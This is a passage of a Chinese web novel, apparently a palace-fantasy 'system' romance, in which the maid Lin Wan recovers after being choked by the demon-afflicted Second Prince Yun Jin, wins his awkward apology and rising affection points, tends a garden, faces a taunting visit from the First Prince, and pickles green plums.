喉咙上那只冰冷、坚硬、如同铁钳般的手,带着死亡的气息缓缓收紧……
强烈的窒息感,视野边缘漫上的黑暗,意识如同风中残烛般即将熄灭的绝望……
每一个画面都带着刺骨的寒意,让林晚的身体不由自主地微微颤抖,脖颈处仿佛又感受到了那可怕的压迫感,呼吸也变得有些困难。
然而,就在这濒死的黑暗即将彻底吞噬她的前一刹那——
一点微弱的、近乎透明的白色柔光,毫无征兆地透出。
那光芒极其微弱,却纯净得不可思议,带着一种难以言喻的、抚慰人心的暖意。
就是这点微光!
它像黑暗中突然亮起的星火,猝不及防地照射在云烬那双混乱、嗜血的眼眸深处。
然后,她看到了,云烬的眼睛微微一抖。扼住她脖颈的手猛地一颤,力道瞬间松了大半,让得她重新大口的呼吸。
云烬口中发出痛苦的低吼,那双恢复一丝清明的瞳孔骤然收缩,他看清了自己的手,看清了被他扼住的她……
最后,那声破碎的、仿佛用尽全身力气挤出的泣血呼唤——
“婉儿……!”
“婉儿……”林晚无意识地呢喃出声,指尖轻轻抚上自己的胸口,“大概是把我认成公主了吧……”
但是,那白光……是什么?
它从哪里来的?
是它救了自己吗?是它……唤醒了云烬那一丝神智?
太多的疑问缠绕在林晚的心头,让她头痛欲裂。
“嘶……”她忍不住倒吸一口凉气,抬手按住了胀痛的额角。
就在这时,房门被小心翼翼地推开一条缝,小翠端着一个小托盘,上面放着一碗热气腾腾的药汤,探头探脑地走了进来。
“林晚姐?”小翠的声音带着浓浓的担忧和小心翼翼,“你醒啦?感觉怎么样?还疼不疼?”
她快步走到床边,将托盘放在床头的小几上。
看到林晚脸色苍白,眉头紧锁地按着额头,小翠更是心疼得不行:“是不是头很痛?快来,把药趁热喝了。”
她说着,拿起药碗,用勺子轻轻搅动着,试图让药凉得快一点。
“殿下呢?”林晚对云烬的情况也是非常好奇,不知道此时他怎么样。
“殿下在屋子里昏睡呢……”小翠一边给林晚掖被角,一边说道,“你先别操心别人啦,先顾好自己行不行!”
林晚看着小翠关切的眼神,心中涌起一股暖流。在这个陌生的地方,能有一个人照顾自己、关心自己,这份感情弥足珍贵。
“还好……就是头有点疼。”林晚放下手,勉强笑了笑,“脖子……还有点不舒服。”
她下意识地摸了摸脖颈,那里被云烬掐出的红痕虽然淡了些,但触感依旧清晰。
“吓死我了林晚姐!”小翠的眼眶瞬间就红了,“昨晚……昨晚你被殿下……我冲出来看到你躺在地上,我差点以为……”
“吓坏了吧?”林晚端着药,一口一口喝着,看着小翠还有些发红的眼睛。
“我没事!我一点事都没有!”小翠连忙摇头,接过碗放好,“倒是林晚姐你……你为了殿下……”
她声音哽咽,说不下去了,只是用力吸了吸鼻子,把药碗递到林晚面前,“快喝药吧,李大人说这药能安神定惊,对你的伤也有好处。”
“李大人?”林晚听到小翠突然称呼“李郎中”为“李大人”,突然一脸不解,“你怎么知道李郎中是从前宫里的大人啊?”
“啊!”小翠被林晚突然的反应吓了一跳,支支吾吾解释道,“我刚才……端着药在门外偷听到你们说话了,一直到他们都走了我才敢进来……”
“哦……”林晚倒也没有多想什么,只当小翠凑巧听到了,顺便把喝完了药的空碗递给小翠。
“小翠,”林晚看着在那边收拾药碗托盘背影,轻声问道,“刚才……皇贵妃娘娘来了,说了很多话,你……不好奇她说了什么吗?”
小翠收拾托盘的手猛地一顿。
她背对着林晚,肩膀似乎僵硬了一下。过了几秒,她才慢慢转过身,脸上努力挤出一个笑容。
“林晚姐……”小翠的声音低了下去,带着一种刻意的平静,“主子们的事情……他们不说,我们做下人的,怎么好随意打听呢?”
林晚看着小翠这副明显不自然的神情,心中掠过一丝异样。小翠的反应……似乎过于谨慎和回避了。
她平时虽然胆小,但好奇心并不弱,尤其是在涉及林晚安危的事情上。
不过,林晚此刻头痛未消,精力不济,加上小翠的话听起来也合乎“规矩”,她便没有深想下去。或许小翠是真的被昨晚的事情吓到了,不想再卷入更多是非吧。
“嗯……你说得对。”林晚有些疲惫地靠回枕头上,闭上了眼睛,“我有点累了,想再睡一会儿。”
“好,林晚姐你好好休息。”小翠连忙端起托盘,“我就在外面,有事你叫我。”
她脚步匆匆地离开了房间,轻轻带上了门。
房间里再次恢复了安静。
【恭喜完成紧急任务:协助目标人物‘云烬’平安度过今晚!】
【奖励积分:5000】
【当前积分:5030】
系统的提示音响起,将林晚的思绪拉回来。
林晚看着角落里的系统信息面板:
【宿主:林晚】
【身份:二皇子别院·静心苑·正室洒扫(特许)】
【目标:云烬(二皇子)】
【当前好感度:18%】
【污染值:???(权限不足)】
【积分:5030】
【任务倒计时:164天 16小时 22分】
长长叹出一口气:“18%……命都快没了还就这么点好感度……”
林晚无奈,看着可怜的好感度,却又没办法安下心去休息。如今这静心苑的水越来越浑,而云烬对她的好感度距离100%还有遥远的距离,心里一下子焦急万分。
“不行,我得去看看他……”
第32章 还疼吗
小翠离开后,房间里只剩下林晚一人。
系统的提示音和那可怜巴巴的18%好感度,像根刺一样扎在她心头。水越来越浑,时间却越来越少,她实在无法安心躺在这里。
强撑着还有些虚软的身体,林晚掀开被子,忍着全身的酸痛,慢慢下了床。
她需要亲眼确认一下云烬的状况。
她迈着缓慢的步伐,脚步虚浮地向正屋走去。刚走到正屋门口,那扇沉重的黑檀木门恰好从里面被推开。
皇贵妃嘉氏在刘嬷嬷的陪同下走了出来,她应该是在里面陪着云烬,待了好一会儿了。
林晚心头一紧,连忙屈膝行礼:“奴婢参见皇贵妃娘娘。”
皇贵妃的目光落在林晚身上,看到她苍白虚弱的脸色和脖颈上尚未完全消退的淡淡红痕,眼神微动。
她轻轻抬了抬手,声音平和:“免礼吧。”
她的视线在林晚脸上停留了片刻,那目光深邃:“照顾好自己,才能替本宫照顾好烬儿。”
“是。”林晚轻声应道。
说完,她嘴角勾起一抹极淡的、意味深长的弧度,没再说什么,只微微颔首,便在刘嬷嬷的搀扶下,离开了静心苑。
那抹笑容看得林晚心头莫名一跳,总觉得里面包含了太多她看不懂的东西,一时间对皇贵妃之前想要给她下的命令,有一点点担心。
目送皇贵妃的身影消失在院门处,林晚深吸一口气,推开了正屋的门。
屋内很安静,跟以往一样安静,也跟一样弥漫着一股淡淡的药草清香。屋子里恢复了整洁,一切如旧,明显是刘嬷嬷打扫整理过。
她放轻脚步,穿过外间书房,走向内室。
床上,云烬静静地躺着。
他双目紧闭,呼吸均匀绵长,胸膛随着呼吸微微起伏。那张俊美得近乎妖异的脸上,此刻褪去了所有的冷漠、嘲讽和暴戾,只剩下消耗大量精力之后的苍白,和沉睡中的平静。
林晚走到床边,轻轻坐在了床边的椅子上。椅子上还残留着一丝暖意,想必是皇贵妃刚才坐过的地方。
她看着眼前这张安静沉睡的容颜,心中五味杂陈。
昨夜那个周身缠绕魔气、银发狂舞、眼眸紫黑、如同地狱修罗般要置她于死地的身影,与眼前这个苍白安静、容颜姣好的年轻皇子,无论如何也无法重叠在一起。
真的是……同一个人吗?
林晚苦笑了一下,只觉得荒谬又无奈。命运似乎给她开了个巨大的玩笑,把她丢进这滩浑水,还绑定了这么一个危险又复杂的任务目标。
她就这样静静地看着他,脑子里乱糟糟的,一会儿是昨夜惊心动魄的生死瞬间,一会儿是皇贵妃讲述的五年前惨剧,一会儿又是系统面板上的倒计时和可怜的好感度……
千头万绪,剪不断理还乱。
就在她出神之际——
云烬搁在锦被外的手指,轻轻动了一下。
林晚的呼吸瞬间屏住,目光紧紧锁定在他脸上。
紧接着,那双紧闭的眼睫如同蝶翼般微微颤动,随即,缓缓地、艰难地掀开了一条缝隙。
初醒的迷蒙散去,那双深邃的眼眸逐渐聚焦,带着一丝刚睡醒的茫然和虚弱,直直地撞进了林晚的视线里。
四目相对。
空气仿佛在这一刻凝固了。
林晚的心跳猛地漏了一拍,被抓包般的尴尬瞬间席卷全身。她像是被烫到一样,猛地从椅子上弹了起来,手足无措。
“殿……殿下!您醒了!”她的声音干涩发紧,眼神慌乱地四处乱瞟,就是不敢再看他,“您……您感觉怎么样?渴不渴?要喝水吗?”
她语无伦次地说着,几乎是同手同脚地冲到一旁的圆桌旁,手忙脚乱地倒了一碗温水。因为紧张,水还洒出来一些。
端着水碗回到床边,林晚看着半躺着的云烬,又犯了难。
他现在能自己坐起来喝水吗?
犹豫了一下,她还是硬着头皮,将水碗暂时放在床头小几上,然后小心翼翼地俯身,一手轻轻扶住云烬的后背,另一只手则准备去拿水碗,打算喂他。
云烬显然没有预料到她会这么做。
当林晚带着淡淡药草香气的身体靠近,手臂环过他的后背将他半扶起来时,他整个身体瞬间僵硬了。
那双刚刚恢复清明的眼眸里,清晰地闪过一丝慌乱和极度的尴尬。
他下意识地想挣脱,但正如林晚所料,大病初愈加上昨夜魔气爆发的消耗,他此刻浑身酸软,根本使不出什么力气。
挣扎的动作只进行到一半就无力地停了下来,他只能被迫依靠在林晚并不算强壮的臂弯里,感受着那不属于自己的体温和柔软。
一丝不易察觉的潮红,悄然爬上了他苍白的耳廓,与他此刻虚弱的模样形成一种奇异的反差。
林晚也感觉到了他的僵硬和那份无声的抗拒,脸颊也有些发烫。她尽量目不斜视,端起水碗,凑到他唇边,声音放得极轻:“殿下……喝点水吧。”
云烬垂下眼帘,长长的睫毛掩盖了眸中的慌乱。他彻底放弃再抗拒,小口小口地喝了几口水。
温热的液体滑过干涩的喉咙,带来一丝舒缓。
喂完水,林晚轻轻将他放回枕上,动作尽量轻柔。放下空碗,她站在原地,手脚都不知道该往哪里放。
刚才那一番近距离接触带来的尴尬气氛,在两人之间无声地弥漫开来。
“那个……”林晚清了清嗓子,声音带着明显的局促,“殿下您……您好好休息,我……我去忙了……”
说完,她像是逃离般,转身就要往外走。
就在她的手刚刚触碰到内室门的瞬间——
一个极其微弱、几乎被呼吸声掩盖的声音,从她身后传来:
“对不起……”
林晚的脚步猛地顿住,整个人僵在原地。她怀疑自己是不是因为紧张过度出现了幻听。
她缓缓地、带着难以置信的神色,转回头。
床榻上,云烬的目光正落在她的脖颈处。那里,昨夜被他扼出的红痕虽然淡了许多,但依旧清晰可见。
他的眼神复杂难辨,有懊悔,有挣扎,还有一丝不易察觉的……痛楚?
他避开了林晚震惊的目光,视线落在林晚的颈侧,声音比刚才更轻:
“还……疼吗?”
第33章 两人心底的涟漪
“还……疼吗?”
那三个字,轻得像羽毛拂过水面,却带着千钧之力,狠狠撞在林晚的心上。
她猛地顿住脚步,僵在门口,手还搭在门扉上,指尖冰凉。
对不起……还疼吗?
这六个字,组合在一起,从云烬的口中说出来,简直比昨夜那铺天盖地的魔气还要让她感到不真实。
梦里?她一定还在做梦!梦里那个温柔、体贴,会关心她疼不疼的云烬,怎么可能和眼前这个活生生、刚刚还别扭尴尬、浑身散发着生人勿近气息的二皇子是同一个人?
错愕、震惊、难以置信……种种情绪如同打翻的颜料盘,在她眼底疯狂流转、交织。
她几乎是机械地转过身,对上云烬那双深邃的眼眸。那里面没有了平日的冷漠和嘲讽,也没有了魔化时的暴戾,只剩下一种……一种她从未见过的、带着一丝脆弱和小心翼翼的复杂情绪。
他还在看着她的脖子,那目光里的愧疚和痛楚,真实得让她心尖发颤。
“一……一点点……”林晚听到自己的声音干涩发紧,带着明显的颤抖,“不过……没事了……”
她语无伦次,只想快点逃离这让她无所适从的氛围,“殿下……你好好休息……晚……晚安!”
最后一个字几乎是挤出来的,她猛地拉开门,几乎是落荒而逃,纤细的身影迅速消失在门外昏暗的光线里,只留下门扉还在微微晃动。
“砰!”
房门被轻轻带上,隔绝了内外。
云烬维持着望向门口的姿势,久久未动。房间里只剩下他略显粗重的呼吸声。
许久,他才缓缓地、极其缓慢地,抬起了自己的右手。
那只手,骨节分明,修长有力,此刻却在不受控制地微微颤抖。
就是这只手……
五年前,在祥安殿,被那狂暴的、不属于他的力量驱使着,带着毁灭的气息,毫无阻碍地……贯穿了那个鹅黄色身影单薄的胸膛。滚烫的鲜血喷溅在脸上,那双明亮的大眼里凝固的惊骇和不解,成了他此后一千八百多个日夜挥之不去的梦魇。
昨夜,又是这只手……
被那熟悉的、更加强大的疯狂所吞噬,冰冷、坚硬,如同铁钳,死死扼住了另一个纤细脆弱的脖颈。窒息、绝望、濒死的恐惧……那双眼睛里的泪水和哀求,与记忆深处那双眼睛重叠、交织……
“呃啊——!”
一声压抑到极致的、如同受伤野兽般的低吼从他喉咙里挤出。他猛地将右手狠狠砸在床榻上,发出沉闷的声响。
力道之大,让整个床榻都微微震动了一下。
他猛地闭上双眼,眉头死死锁紧,牙关紧咬,仿佛要将那翻涌而上的巨大痛苦和悔恨生生咽回去。
然而,两行滚烫的液体,却不受控制地从紧闭的眼角滑落,迅速没入鬓角,留下两道湿痕。
林晚几乎是冲回自己的房间,反手“砰”地一声关上门,背靠着冰冷的门板,才仿佛卸下了千斤重担。
她大口大口地喘着气,心脏在胸腔里疯狂擂动,几乎要跳出来。
“对不起……还疼吗……”
那六个字,如同六颗威力巨大的炸弹,在她脑海里反复回响、爆炸,将她心中那堵小心翼翼筑起的、用来抵御云烬所有冷漠、嘲讽、危险的“心房”,炸得粉碎。
泪水,毫无预兆地、汹涌地夺眶而出。
不是崩溃的嚎啕大哭,而是无声的、汹涌的泪流。
是委屈。
长久以来在静心苑如履薄冰,在他身边小心翼翼,打扫、煎药、伺候,却从未得到过一个正眼,一个温和的回应,只有无尽的冷言冷语和那高高在上的漠然。仿佛她的存在,她的付出,都理所当然,甚至……碍眼。
是害怕。
昨夜那濒死的窒息感,那冰冷手指扼住喉咙的绝望,那如同深渊般吞噬一切的紫黑魔瞳……死亡的阴影是如此真实,差一点,她就再也见不到今天的太阳了。
是庆幸。
庆幸自己在那恐怖的魔爪下活了下来,庆幸那道神秘的白光再次出现,庆幸……他竟然在清醒后,说出了那六个字。
那六个字,像是一束微弱的、却带着奇异温度的光,穿透了长久以来的冰冷和恐惧,猝不及防地照进了她心底最深处,带来一种难以言喻的……暖意。
原来,他并非全然冷酷无情。原来,他也会愧疚,也会……关心?
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+5%】
【当前好感度:23%】
【恭喜宿主!好感度突破20%,解锁阶段任务:谜团初解。】
【任务要求:从目标人物‘云烬’口中,解开宿主心底的谜团。】
【任务奖励:解锁污染值,积分+100。】
系统的提示音如同天籁,在泪眼朦胧的林晚脑中响起。
林晚猛地一怔,泪水还挂在睫毛上,却下意识地看向只有她能看到的系统面板。
23%!
解锁污染值!100积分!
更重要的是……解锁污染值!
现在的她已经几乎明白了污染值的含义,或许就是跟云烬被魔气侵扰失去神智的进度相关。如果以后能在系统面板上清晰看见污染值,或许自己也能更好地做好准备。
一股难以言喻的激动和希望瞬间冲淡了之前的委屈和恐惧。她抬手,胡乱地抹掉脸上的泪痕,深深吸了一口气,又缓缓吐出。
脸上的泪痕干了,但眼眶还有些发红。她走到窗边,轻轻推开一条缝隙。
清冷的月光洒落进来,照亮了她半边脸颊。她透过窗棂,望向正屋的方向。那里一片寂静,灯火已熄。
23%……距离100%还有遥远的距离,但这23%,却像是黑暗中的第一颗星辰,照亮了前路。
完成了最终任务的……五分之一?
林晚的嘴角,终于抑制不住地,向上弯起了一个小小的、却无比坚定的弧度。
眼底残留的泪光尚未完全散去,但那双眸子,却重新燃起了明亮的光彩。
“呵……”
她轻轻笑了一声,带着一种劫后余生的释然,更带着一种被激发出来的、前所未有的韧劲。
“没能杀死我的……”她低声自语,声音不大,却字字清晰,带着一种破茧而出的力量感,“只会让本姑娘变得更强韧。”
她最后望了一眼那沉寂的正屋,眼神锐利如初生的小兽。
“云烬,等着吧。”
第34章 那丛杂草,碍眼
清晨的阳光透过窗棂,洒在林晚的脸上,带着暖融融的意味。
她睁开眼,第一时间调出了系统面板。
【宿主:林晚】
【身份:二皇子别院·静心苑·正室洒扫(特许)】
【目标:云烬(二皇子)】
【当前好感度:23%】
【污染值:???(权限不足)】
【积分:5030】
【任务倒计时:163天 18小时 18分】
【阶段任务:谜团初解(进行中)】
【任务列表:拜云烬为师,学习修炼之道。】
23%!还有阶段任务在手!
看着那比昨天高出5%的数字,林晚只觉得浑身充满了干劲。昨晚的泪水、委屈和恐惧仿佛被这数字冲刷干净,取而代之的是一种破釜沉舟的决心。
响起之前给云烬做了一道清蒸鱼,竟然意外地被他吃完了,看样子云烬并不是不接受稍微改变一下生活状态。
林晚决定继续执行她的“静心苑改造计划”,她这次要去后院找找灵感。
她立刻起身,简单梳洗后便端着新煎好的药走向正屋。
推开书房的门,云烬已经坐在书案后,手里拿着一卷书。清晨的光线勾勒出他略显苍白的侧脸,听到动静,他抬眸瞥了一眼,眼神平静无波。
果然,他还是那副今天之前的事情仿佛都没有发生过的模样,林晚早都习惯了,她将白玉药碗轻轻放在书案上:“殿下,药好了。”
云烬没有回应,只是端起药碗,动作流畅地一饮而尽。
她本想再说点什么,比如问问他还好吗,或者借着静心苑改造计划的由头找点话题,但看着他重新专注回书卷的冷淡侧影,所有的话都堵在了喉咙里。
“……”林晚张了张嘴,最终还是把话咽了回去。算了,不指望他能有什么好脸色。
她一刻也没有多待,她现在只想立刻投入到后院那片,在小翠手上已经焕然一新的小天地里去。
“小翠!小翠!”林晚一回到后院,就迫不及待地招呼。
后院果然已经大变样,不再是之前杂草丛生、碎石遍地的荒芜景象。小翠显然花了大力气,将这片小小的土地做了精细的划分和设计。
靠近院墙的一角,被开辟成了一个小小的花圃,土壤松软湿润,显然已经整理过。
旁边还留出了一小片空地,似乎准备种点什么。几块光滑的鹅卵石被巧妙地镶嵌在泥土边缘,既美观又能防止水土流失。虽然还未种植,但整个布局已经透出一种整洁和用心。
“林晚姐!”小翠听到呼唤,从角落里探出头,手里还拿着小铲子,“你看,我把这片地都弄好了!”
看着小翠充满干劲的笑脸和眼前整洁的土地,林晚心中的那点郁闷瞬间消散了。
她扬了扬手里的两个小布包:“刘嬷嬷上午给了我一点种子和幼苗!”
“太好了!”小翠眼睛一亮,立刻凑了过来。
林晚将布包打开:“这是‘月光花’的种子,还有几株兰草的幼苗。”
“月光花?”小翠好奇地拿起种子看了看。
“嗯,”林晚想起刘嬷嬷的叮嘱,“嬷嬷说这花性子倔,喜阴,白日里蔫蔫的,到了晚上才开花,有股子淡淡的冷香,不艳丽,也不闹腾。”
她特意补充道,“月光花喜阴,我打算种在殿下常走动的地方,比如廊下、窗边。那花香……或许能让人心静些。”
小翠认真地点点头:“我记住了!那我们把月光花种在院墙根那片最阴凉的地方吧?兰草就种在空地上,中间用鹅卵石隔开,怎么样?”
“好主意!”林晚立刻赞同。
两人说干就干。林晚负责松土挖坑,小翠则小心翼翼地播种、栽苗、浇水。
动作虽然依旧有些笨拙,但两人配合默契,脸上都洋溢着充满希望的笑容。
林晚累得直接坐在刚浇过水的泥地上,用手背擦了擦额头的汗,结果蹭了一脸泥点。她毫不在意,抬头望向天空,深深吸了一口带着泥土芬芳的空气。
就在这时,她眼角的余光瞥见正屋书房那扇紧闭的窗扉,不知何时悄然开了一条缝隙。
一道清冷的目光,正透过那条缝隙,静静地落在庭院里那两个忙碌的身影上。
林晚的心跳漏了一拍,下意识地扬起脸,朝着那扇窗户的方向,撅了噘嘴,轻哼一声。
窗后的身影似乎僵了一下。
下一秒,“啪嗒”一声轻响,那扇窗扉被迅速而用力地关上了,隔绝了内外的视线。
林晚翻了个大白眼,随即又释然地耸耸肩。管他呢!至少他没出声反对,也没扔东西下来砸她们!
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+2%】
【当前好感度:25%】
看到这突如其来的提示,林晚脸上的笑容更大了,非常得意。
果然!她的方向没错!
深夜,万籁俱寂。
林晚枕边的墨玉铃,那铃芯处极细的金砂,毫无征兆地亮了起来。这一次,不再是刺目的红光,而是散发出一种柔和、温润的白色微光,如同月华凝聚。
林晚几乎是瞬间就惊醒了。她立刻坐起身,拿起墨玉铃。微光映照着她略显紧张的脸庞。
是云烬?他又……?
她不敢耽搁,迅速披上外衣,轻手轻脚地出了房门,快步走向正屋。
推开书房的门,眼前的景象却让她微微一愣。
云烬静静地坐在棋盘前,指尖无意识地轻轻敲击着光滑的桌面,发出细微的“嗒、嗒”声。
烛光下,他的侧脸显得有些疲惫,眉头微蹙,似乎被什么事情困扰着,显得有些烦躁。
林晚敏锐地注意到,他周身的气息还算平稳,只是比平时略有些浮动,或者……只是单纯的失眠?
听到开门声,云烬侧过头,那双深邃的眼眸在烛光下看向她。
“来得倒快。”他的声音有些低沉,听不出喜怒。
林晚定了定神,走上前:“殿下,您……有何吩咐?”
云烬的目光重新落回棋盘上,指尖停止了敲击。他沉默了片刻,才缓缓开口,语气带着一种说不出的意味:“……陪我下一局。”
林晚有些意外,但还是依言走到他对面坐下。她棋艺平平,云烬则显然是个中高手。
棋局开始后,他依旧毫不留情地毒舌点评着林晚每一步在他看来都堪称“臭棋”的落子。
“这一步,自寻死路。”
“毫无章法。”
“你的脑子是用来摆设的吗?”
林晚被他说得面红耳赤,几次想反驳又忍住了。
不过,她很快发现,虽然云烬嘴上依旧不饶人,但整个氛围却比上次暴雨夜那次平和了许多。他紧蹙的眉头似乎也舒展了一些,指尖的烦躁感也减轻了。
一局终了,林晚毫无悬念地惨败。
她看着惨不忍睹的棋盘,有些不好意思地摸了摸鼻子。
云烬没有立刻让她离开,也没有再开新局。他只是沉默地看着棋盘,烛火在他眼中跳跃。
过了好一会儿,他才像是想起了什么,状似无意地开口,目光却并未看向林晚,而是投向窗外庭院的方向,声音平淡无波:
“……回廊尽头的那丛杂草,碍眼。”
林晚顺着他的目光望去,窗外月光如水,静静洒落在后院。月光花和兰草幼苗在夜色中悄然生长,鹅卵石铺就的小径整洁干净。
林晚错愕的脸上,下一秒浮上了一抹淡淡的笑容。
“是,殿下。”她轻声应道,声音里带着一丝丝得意。
“奴婢明日就去打理。”
第35章 大皇子的祝贺
清晨的阳光带着暖意,驱散了昨夜对弈留下的些许疲惫。林晚醒来时,嘴角还噙着一丝笑意。
她想起了云烬那句别扭的“回廊尽头的那丛杂草,碍眼”。
“这人……”她低声嘟囔着,带着几分无奈又好笑,“就不能直说‘把那儿也种上花’吗?”
送完辰时的药,她特意绕到正屋前的回廊尽头。那里果然如她昨晚所见,是一片干净的空地,紧邻着后院墙角那片已经被她和翠精心打理过的花圃。
哪里有什么碍眼的杂草?分明是云烬用他特有的、拐弯抹角的方式,让她们继续改造庭院。
“懂了懂了,大男人扭扭捏捏的。”林晚忍不住对着空地翻了个白眼,但眼底的笑意却藏不住。
她蹲下身,用手指戳了戳松软的泥土,“等着吧,给你种点好看的。”
她已经在盘算着再去磨刘嬷嬷要点什么种子,或者让小翠想想办法了。
下午,静心苑难得的宁静被一阵马蹄声和随从的脚步声打破。林晚正在后院给新栽的月光花幼苗浇水,听到动静,疑惑地走到前院。
只见一行人簇拥着一位身着华服的男子走了进来。
来人约莫二十七八岁,面容与云烬有几分相似,却更显成熟沉稳,眉宇间带着一股久居上位的贵气与隐隐的锋芒。
他身着绛紫色绣金蟒纹锦袍,腰束玉带,佩着美玉,通身的气派与静心苑的平淡朴素格格不入,仿佛一颗明珠落入了灰扑扑的瓦砾堆。
他一进院子,目光便如同探照灯般扫视了一圈,最后精准地落在了刚从后院走出来的林晚身上。
林晚被他看得心头一跳,下意识地停下了脚步。这人是谁?宫里来的?看这架势,地位绝对不低!
可她从未见过,一时间不知该如何行礼称呼,只能僵在原地,微微垂首,手指紧张地绞着衣角。
那华服男子见状,嘴角勾起一抹玩味的笑容,声音带着几分慵懒的磁性:“哟,这别院的宫女,倒是比我宫里的宫女好看多了。二弟好福气啊。”
他的目光在林晚身上肆无忌惮地打量着,带着一种居高临下的审视,让林晚感到极不舒服,脸颊微微发烫,更是局促不安。
见她手足无措,连头都不敢抬,男子轻笑一声,带着几分玩味:“怎么?不认识本王?本王是本朝大皇子,云晟。”
云晟?!
林晚心中猛地一惊!大皇子云晟!她虽未见过,但名字是听过的!这可是当今圣上的长子!
她慌忙屈膝行礼:“奴婢参见大殿下!奴婢眼拙,未能及时行礼,请殿下恕罪!”
“呵呵呵……”云晟发出一阵爽朗的笑声,但那笑意并未达眼底,“无妨无妨。没想到二弟身边的人,倒是这么懂规矩,看样子……调教得不错啊。”
他话里有话,目光再次扫过林晚,带着一丝探究。
就在这时,一个清冷却带着几分慵懒的声音,从正屋紧闭的门扉后幽幽飘出:
“哎呀……”
“啪嗒——”
房门被从里面推开。
云烬缓步走了出来。他今日只穿着一身素雅的月白色常服,墨发仅用一根玉簪松松挽着,脸色依旧带着大病初愈后的苍白,身形甚至显得有些单薄。
然而,当他站在廊下,那双深邃的眼眸平静地看向云晟时,周身散发出的那种清冷孤高、仿佛万事万物皆不入眼的气场,却丝毫不输于一身华贵、气势逼人的大皇子云晟。
他目光淡淡扫过云晟,最终落在林晚身上,声音不高,却清晰地传入在场每个人的耳中:
“大哥莫不是搞错了……”云烬又慢慢地把视线已回云晟的身上,“这里不是皇宫,哪里来的什么宫女。”
他顿了顿,敛去了脸上所有的神情,一字一句道:
“这里,只有我的人。”
林晚听到后,感觉心像是被什么东西轻轻撞了一下。她抬头看向云烬,他依旧面色平静,就那么看着云晟,却隐隐能感觉到平静之下带着的针对。
那句“我的人”,却像一颗投入心湖的石子,漾开了一圈圈涟漪。她抿紧了嘴唇,才勉强压下嘴角那抹不受控制想要上扬的弧度。
没想到……这个别扭又毒舌的家伙,还挺护着自己人的。
云晟脸上的笑容微微一滞,随即又恢复了那副雍容的姿态。他哈哈一笑,仿佛刚才的针锋相对只是兄弟间的玩笑:“二弟还是这般……护短。也罢,是皇兄失言了。”
他踱步上前,状似关切地打量着云烬:“听闻二弟前些日子身体抱恙,为兄甚是挂念。今日见你气色尚可,想必是无恙了?”
说罢他大手一挥,从后面出来一行人,各端着一个托盘,上面放着各式各样的锦盒:“为兄带了一些东西,特地来看望二弟,还望二弟不嫌弃。”
云烬神色淡漠,语气疏离:“劳皇兄挂心,些许小恙,已无大碍。”
“那就好,那就好。”云晟点点头,目光却似有若无地再次扫过林晚,又环顾了一下这略显萧瑟的静心苑,“这静心苑……倒是清静。二弟在此修身养性,远离朝堂纷扰,倒也不失为一件好事。”
这话听起来是关心,细品却带着一丝讽刺,暗示着云烬如今的处境。
云烬岂会听不出?他唇角勾起一抹极淡的弧度,带着点漫不经心的嘲讽:“皇兄日理万机,还要操心我这偏僻别院,才是辛苦。”
两人你来我往,言语间看似平淡寒暄,实则暗藏机锋,空气中弥漫着一股无形的张力。林晚在一旁垂首静立,大气不敢出,却能清晰地感受到那股兄弟间冰冷对峙的气息。
云晟脸上的笑容淡了些许,他负手而立,看着云烬,语气忽然变得意味深长:“不管如何,二弟身体无恙便是最好的。为兄……先在此祝贺二弟了。”
祝贺?
云烬眉头微蹙,眼中闪过一丝真正的疑惑:“祝贺?皇兄此言何意?”
云晟眉头一挑,故作惊讶:“哦?看样子二弟还不知道?”他故意停顿了一下,看着云烬脸上那丝真实的困惑,嘴角的笑意加深,“无妨,过两日……你便知道了。”
他不再多言,转身便走,随从们立刻跟上。
在经过林晚身边时,他的脚步微微一顿,目光再次落在她身上,带着一丝……难以言喻的深意。
林晚只觉得那目光如同实质,让她脊背发凉,下意识地将头垂得更低。
云晟深深地看了她一眼,这才收回目光,轻笑一声,大步流星地离开了静心苑。
直到那行人的身影彻底消失在院门外,林晚才长长地舒了一口气,感觉周围的空气都重新流动了起来。
她偷偷抬眼看向廊下的云烬。
云烬自顾自地回屋子里去了,仿佛大皇子没来过一样。
而林晚的好奇心又被勾上来了,那句“过两日便知道了”是什么意思呢?
第36章 他喜欢酸的
十天前,内务府例行送来了这个月的份例。
东西依旧少得可怜,米面粮油都是最低等的成色,所谓的“时令鲜果”更是敷衍——一个不大的竹筐里,各式各样的水果倒是不少,但是一看就知道不是很新鲜。
不过,在框子的最底下,林晚发现铺了一层有点蔫巴、表皮甚至带着磕碰伤痕的青梅。
小翠看着框子里的果子,忍不住小声嘟囔:“这……这也能叫贡品?送东西的人嘴巴可真会说,还贡品……”
林晚也是一脸的嫌弃,倒不是觉得这些不能吃,但是要是拿出去跟别人说这些是从皇宫里送来的,怕是会让人笑掉大牙。
她拿起筐底的一颗青梅看了看,表皮皱缩,手感发软,确实品相极差。她掂量着这些酸涩的果子,一个念头忽然闪过脑海——既然鲜吃不行,能不能做成腌渍的?
“小翠,你吃过腌梅子吗?”林晚问道。
“自然是吃过的……”小翠若有所思,似乎明白了林晚想做什么,“你不会是想把这些做成腌梅子吧?”
“是啊,这些酸了吧唧的梅子,做成腌制的,味道应该会好上不少。”
“可是……”小翠撇了撇嘴,“你会做吗?之前在前山的时候,有人就做了腌梅子,但是没做好,吃了之后拉了好几天肚子呢……”
林晚不置可否,确实,她以前也只是吃过包装袋的零食,制作方法倒是在某书上刷到过,依稀还有一点印象。
“没事,我知道怎么做。”林晚笑着好像是胸有成竹一般。
说干就干,之前求了云瀚送来的精细的糖和盐,可都是现成的。她又找来三个干净的陶罐,打算尝试着腌制简易的“酸梅”。
第一次做,毫无经验可言,林晚只能凭感觉摸索。
她将青梅洗净晾干,分别放入三个罐子:一罐多放了些糖,希望能中和酸涩;一罐糖放得很少,主打一个原汁原味;最后一罐则尝试糖和盐都适量放一些,看看能否激发出特别的风味。
封好罐子之后,林晚就把它们放在小厨房的阴凉处了。
只是之后几天,风波迭起——朔月之夜的惊魂、皇贵妃的深夜秘谈、大皇子的突然造访……林晚心力交瘁,早把这三罐试验品忘在了脑后。
如今诸事稍歇,她才猛地想起这茬,于是抱着试试看的心态,她打开了密封的罐子。
一股混合着酸涩和微甜的气息扑面而来,她小心翼翼地各尝了一颗。
第一罐糖多的,甜得发腻,掩盖了青梅本身的风味;第二罐糖少的,酸得她龇牙咧嘴;而第三罐,糖盐比例似乎歪打正着,酸爽中带着回甘,虽然品相依旧不佳,但味道竟意外地开胃,勉强及格!
林晚眼睛一亮,这倒是个意外收获!
